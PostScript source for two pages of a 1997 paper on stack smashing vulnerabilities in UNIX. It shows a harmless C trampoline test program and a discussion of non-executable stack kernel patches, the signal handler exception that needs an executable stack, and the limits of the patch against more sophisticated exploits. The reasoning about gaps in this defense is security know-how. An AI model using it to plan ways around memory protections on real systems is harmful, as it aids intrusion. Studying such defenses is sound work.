2076 M -0.200 0 ( return a > b;)A ; 586 2076 N M 6 71 rr : 0 0 0 sco O ; 4412 2076 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2147 M -0.200 0 ( })A ; 586 2147 N M 6 71 rr : 0 0 0 sco O ; 4412 2147 N M 6 71 rr : 0 0 0 sco O ; 586 2218 N M 6 71 rr : 0 0 0 sco O ; 4412 2218 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2289 M -0.200 0 ( int f3 \(int a, int b\))A ; 586 2289 N M 6 71 rr : 0 0 0 sco O ; 4412 2289 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2360 M -0.200 0 ( {)A ; 586 2360 N M 6 71 rr : 0 0 0 sco O ; 4412 2360 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2431 M -0.200 0 ( printf \("Inside f3, i = %d, j = %d\\n", i, j\);)A ; 586 2431 N M 6 71 rr : 0 0 0 sco O ; 4412 2431 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2502 M -0.200 0 ( fflush \(stdout\);)A ; 586 2502 N M 6 71 rr : 0 0 0 sco O ; 4412 2502 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2573 M -0.200 0 ( return i > j;)A ; 586 2573 N M 6 71 rr : 0 0 0 sco O ; 4412 2573 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2644 M -0.200 0 ( })A ; 586 2644 N M 6 71 rr : 0 0 0 sco O ; 4412 2644 N M 6 71 rr : 0 0 0 sco O ; 586 2715 N M 6 71 rr : 0 0 0 sco O ; 4412 2715 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2786 M -0.200 0 ( if \(g \(1, 2, f2\) != 2\) {)A ; 586 2786 N M 6 71 rr : 0 0 0 sco O ; 4412 2786 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2857 M -0.200 0 ( printf \("Trampoline call returned the wrong value\\n"\);)A ; 586 2857 N M 6 71 rr : 0 0 0 sco O ; 4412 2857 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2928 M -0.200 0 ( fflush \(stdout\);)A ; 586 2928 N M 6 71 rr : 0 0 0 sco O ; 4412 2928 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2999 M -0.200 0 ( abort \(\);)A ; 586 2999 N M 6 71 rr : 0 0 0 sco O ; 4412 2999 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3070 M -0.200 0 ( })A ; 586 3070 N M 6 71 rr : 0 0 0 sco O ; 4412 3070 N M 6 71 rr : 0 0 0 sco O ; 586 3141 N M 6 71 rr : 0 0 0 sco O ; 4412 3141 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3212 M -0.200 0 ( i = 4;)A ; 586 3212 N M 6 71 rr : 0 0 0 sco O ; 4412 3212 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3283 M -0.200 0 ( j = 3;)A ; 586 3283 N M 6 71 rr : 0 0 0 sco O ; 4412 3283 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3354 M -0.200 0 ( if \(g \(5, 6, f3\) != 5\) {)A ; 586 3354 N M 6 71 rr : 0 0 0 sco O ; 4412 3354 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3425 M -0.200 0 ( printf \("Trampoline call returned the wrong value\\n"\);)A ; 586 3425 N M 6 71 rr : 0 0 0 sco O ; 4412 3425 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3496 M -0.200 0 ( fflush \(stdout\);)A ; 586 3496 N M 6 71 rr : 0 0 0 sco O ; 4412 3496 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3567 M -0.200 0 ( abort \(\);)A ; 586 3567 N M 6 71 rr : 0 0 0 sco O ; 4412 3567 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3638 M -0.200 0 ( })A ; 586 3638 N M 6 71 rr : 0 0 0 sco O ; 4412 3638 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3709 M -0.200 0 ( })A ; 586 3709 N M 6 71 rr : 0 0 0 sco O ; 4412 3709 N M 6 71 rr : 0 0 0 sco O ; 586 3780 N M 6 71 rr : 0 0 0 sco O ; 4412 3780 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3851 M -0.200 0 ( int)A ; 586 3851 N M 6 71 rr : 0 0 0 sco O ; 4412 3851 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3922 M -0.200 0 ( main \(void\))A ; 586 3922 N M 6 71 rr : 0 0 0 sco O ; 4412 3922 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3993 M -0.200 0 ( {)A ; 586 3993 N M 6 71 rr : 0 0 0 sco O ; 4412 3993 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4064 M -0.200 0 ( printf \("Before trampoline call\\n"\);)A ; 586 4064 N M 6 71 rr : 0 0 0 sco O ; 4412 4064 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4135 M -0.200 0 ( fflush \(stdout\);)A ; 586 4135 N M 6 71 rr : 0 0 0 sco O ; 4412 4135 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4206 M -0.200 0 ( f \(\);)A ; 586 4206 N M 6 71 rr : 0 0 0 sco O ; 4412 4206 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4277 M -0.200 0 ( printf \("Trampoline call succeeded\\n"\);)A ; 586 4277 N M 6 71 rr : 0 0 0 sco O ; 4412 4277 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4348 M -0.200 0 ( fflush \(stdout\);)A ; 586 4348 N M 6 71 rr : 0 0 0 sco O ; 4412 4348 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4419 M -0.200 0 ( return 0;)A ; 586 4419 N M 6 71 rr : 0 0 0 sco O ; 4412 4419 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4490 M -0.200 0 ( })A ; 586 4490 N M 6 71 rr : 0 0 0 sco O ; 4412 4490 N M 6 71 rr : 0 0 0 sco O ; 586 4640 N M 6 6 rr : 0 0 0 sco O ; 586 4640 N M 6 6 rr : 0 0 0 sco O ; 592 4640 N M 3820 6 rr : 0 0 0 sco O ; 4412 4640 N M 6 6 rr : 0 0 0 sco O ; 4412 4640 N M 6 6 rr : 0 0 0 sco O ; 586 4561 N M 6 79 rr : 0 0 0 sco O ; 4412 4561 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 29 ]%%) = %%PageTrailer %%Page: 30 30 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (30)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 504 M -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 42.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 41.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A 43.300 0 32 -0.300 0 (r r)D -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 42.900 0 32 0.100 0 (s )D 0.200 0 (i)A 43.000 0 32 (n )W 0.200 0 (t)A (h)S 43.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 42.000 0 32 1.000 0 (x )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 44.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 42.800 0 32 0.200 0 (m )D -0.300 0 (r)A -0.400 0 (e)A (qu)S 0.200 0 (i)A -0.300 0 (r)A 43.400 0 32 -0.400 0 (e a)D (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 24.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 24.000 0 32 (k. )W 0.400 0 (S)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 23.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A -0.300 0 (r)A 24.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 25.400 0 32 -0.400 0 (e a)D (b)S 0.100 0 (s)A (o)S 0.200 0 (l)A (u)S 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (l)A 28.000 0 32 -3.000 0 (y )D -0.400 0 (c)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 24.800 0 32 0.200 0 (l i)D 25.000 0 32 (n )W -0.400 0 (a)A 25.000 0 32 (n op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 26.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 25.000 0 32 (, )W 0.200 0 (t)A (hu)S 0.100 0 (s)A 25.000 0 32 (, )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A (po)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 6.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 3.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k )W -0.300 0 (f)A (o)S 4.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 3.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A -0.300 0 (r)A 3.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 3.800 0 32 0.200 0 (t )D (b)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A 4.000 0 32 (d. )W -0.100 0 (T)A (hu)S 0.100 0 (s)A 4.000 0 32 (, bu)W -0.300 0 (ff)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M -0.069 0 (in signal handlers would still be possible using this temporarily executable stack.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1212 M -0.700 0 (B)A 10.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 7.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 8.000 0 32 (on p)W -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 0.100 0 (s)A 8.000 0 32 (, )W 7.800 0 32 0.200 0 (it )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 8.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A 8.000 0 32 (op )W 0.200 0 (m)A (o)S 0.100 0 (s)A 7.800 0 32 0.200 0 (t )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 8.200 0 32 -0.200 0 (D )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 0.100 0 (s)A 6.000 0 32 (, )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (c)A 0.200 0 (l)A (ud)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (ho)S 0.100 0 (s)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 6.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 7.000 0 32 (. )W 7.200 0 32 -0.200 0 (A )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 6.800 0 32 0.200 0 (m )D -0.200 0 (w)A 0.200 0 (it)A 7.000 0 32 (h )W 7.400 0 32 -0.400 0 (a )D (non)S -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 7.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 6.000 0 32 (o h)W 0.200 0 (i)A (nd)S -0.400 0 (e)A -0.300 0 (r)A 5.900 0 32 0.100 0 (s )D -2.100 0 (L)A -2.300 0 (I)A 5.600 0 32 0.400 0 (SP )D -0.400 0 (a)A 6.000 0 32 (nd )W -0.200 0 (O)A (b)S 0.200 0 (j)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S 6.400 0 32 -0.400 0 (e )D 5.700 0 32 0.300 0 (C )D (d)S -0.400 0 (e)A (v)S -0.400 0 (e)A 0.200 0 (l)A (op)S 0.200 0 (m)A -0.400 0 (e)A (n)S 5.800 0 32 0.200 0 (t )D -0.400 0 (e)A -0.300 0 (ff)A (o)S -0.300 0 (r)A 0.200 0 (t)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.400 0 (e)A 5.800 0 32 0.200 0 (ll )D -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 6.300 0 32 -0.300 0 (r f)D (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S -0.400 0 (a)A 5.800 0 32 0.200 0 (l l)D -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M 0.200 0 (mi)A -1.000 0 (g)A (h)S 2.800 0 32 0.200 0 (t )D -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 3.000 0 32 (o b)W 3.400 0 32 -0.400 0 (e a)D -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (t)A -0.400 0 (e)A 3.000 0 32 (d. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 3.000 0 32 (, )W -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 6.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 2.800 0 32 0.200 0 (m )D -0.400 0 (c)A (on)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A (n)S 2.900 0 32 0.100 0 (s )D -0.400 0 (c)A (od)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t )D (p)S -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A 3.900 0 32 0.100 0 (s )D -0.300 0 (f)A (und)S -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 3.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (c)A 4.000 0 32 (h )W -0.400 0 (a)A 3.900 0 32 0.100 0 (s s)D -0.400 0 (a)A (v)S 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 4.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D (v)S -0.400 0 (a)A 0.200 0 (l)A (u)S -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 3.800 0 32 0.200 0 (m )D 0.300 0 (C)A 0.400 0 (P)A 4.200 0 32 -0.200 0 (U )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 4.000 0 32 (, p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A 4.900 0 32 0.100 0 (s s)D -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 4.800 0 32 0.200 0 (m )D -0.400 0 (ca)A 0.200 0 (ll)A 0.100 0 (s)A 5.000 0 32 (. )W -2.300 0 (I)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M -0.400 0 (c)A (on)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.100 0 (s)A 6.800 0 32 0.200 0 (t t)D 7.000 0 32 (o )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A (u)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 7.000 0 32 (, )W -0.400 0 (a)A 8.000 0 32 (n )W -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (ac)A 8.000 0 32 (k )W 0.100 0 (s)A (u)S -0.400 0 (c)A 8.000 0 32 (h )W -0.400 0 (a)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 8.000 0 32 (d b)W -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2274 M 0.200 0 (im)A (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 0.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (o p)S -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S -0.200 0 32 0.200 0 (t )D (b)S 3.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k )S -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A (on p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A (. )S -2.300 0 (I)A 1.000 0 32 (n o)W 0.200 0 (t)A (h)S -0.400 0 (e)A 1.300 0 32 -0.300 0 (r )D -0.200 0 (w)A (o)S -0.300 0 (r)A (d)S 0.100 0 (s)A 1.000 0 32 (, )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 26.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 26.000 0 32 (on p)W -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A 26.000 0 32 (on on)W 0.200 0 (l)A 30.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S 0.200 0 (t)A 26.900 0 32 0.100 0 (s )D 0.200 0 (t)A (od)S -0.400 0 (a)A -3.000 0 (y)A -0.300 0 (\222)A 26.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (ac)A 27.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 28.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 26.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 26.800 0 32 0.200 0 (m )D -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2628 M (p)S -0.300 0 (r)A (op)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (l)A -3.000 0 (y)A 7.000 0 32 (. )W -0.200 0 (A)A 6.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 6.900 0 32 0.100 0 (s )D (b)S -0.400 0 (ec)A (o)S 0.200 0 (m)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (oph)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (ti)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (d, )W -0.300 0 (\()A 0.100 0 (s)A 7.400 0 32 -0.400 0 (ee )D 0.100 0 (s)A -0.400 0 (ec)A 0.200 0 (ti)A 7.000 0 32 (on 9.1)W 8.300 0 32 -0.300 0 (\) )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 8.000 0 32 (on b)W 0.200 0 (it)A 7.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M (h)S -0.400 0 (a)A (v)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (littl)A 4.400 0 32 -0.400 0 (e )D (o)S 4.300 0 32 -0.300 0 (r )D 4.000 0 32 (no )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (l)A -0.400 0 (e)A (v)S -0.400 0 (a)A (n)S 4.400 0 32 -0.400 0 (ce )D 0.200 0 (i)A 4.000 0 32 (n )W 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 4.900 0 32 0.100 0 (s )D (o)S 5.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 5.000 0 32 (. )W -0.200 0 (A)A 4.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.000 0 32 (n )W -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A 5.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 4.900 0 32 0.100 0 (s )D 0.200 0 (t)A -3.000 0 (y)A (p)S 5.400 0 32 -0.400 0 (e )D (o)S 5.300 0 32 -0.300 0 (f )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A 5.000 0 32 (h )W -0.400 0 (ca)A 5.000 0 32 (n )W -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 5.000 0 32 (o b)W -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2982 M 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A 2.000 0 32 (d )W 0.200 0 (i)A 2.000 0 32 (n )W 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D 0.300 0 (C)A 0.400 0 (P)A 2.200 0 32 -0.200 0 (U )D (h)S -0.400 0 (a)A -0.300 0 (r)A (d)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A 2.000 0 32 (. )W -0.200 0 (N)A -0.400 0 (e)A 2.200 0 32 -0.200 0 (w )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 2.800 0 32 0.200 0 (m )D -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (c)A (h)S 0.200 0 (it)A -0.400 0 (ec)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 2.900 0 32 0.100 0 (s )D -0.400 0 (c)A (ou)S 0.200 0 (l)A 3.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 6.000 0 32 -3.000 0 (y )D (h)S -0.400 0 (a)A (v)S 3.400 0 32 -0.400 0 (e )D 0.200 0 (m)A 